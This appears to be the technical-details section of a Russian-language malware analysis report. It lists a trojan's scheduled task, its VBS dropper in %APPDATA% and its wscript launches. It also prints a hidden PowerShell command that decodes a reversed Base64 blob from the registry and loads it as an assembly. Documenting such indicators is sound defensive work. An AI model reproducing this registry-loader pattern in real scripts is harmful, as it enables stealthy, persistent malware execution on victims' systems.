Техническая информация
- <SYSTEM32>\tasks\jwihiwlvxzvdujg
- %APPDATA%\jwihiwlvxzvdujg.vbs
- '<SYSTEM32>\wscript.exe' "%APPDATA%\jwIHiwlvXzVdUjG.VBS"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command $ll='HKCU:\Software\jwIHiwlvXzVdUjG';$v='test';$ee=gp $ll;$uu=[Convert]::FromBase64String(($ee.$v|%{$_[-1..-($_.Length)]}) -join '');[System.Reflection.Assembly]::L... (со скрытым окном)
- '<SYSTEM32>\taskeng.exe' {8B0F3A7E-CB86-46F7-8471-5BD83A2E3C4E} S-1-5-21-3150914307-1777937420-491476919-1000:jcpmbimlu\user:Interactive:[1]
- '<SYSTEM32>\wscript.exe' "%APPDATA%\jwIHiwlvXzVdUjG.VBS" (со скрытым окном)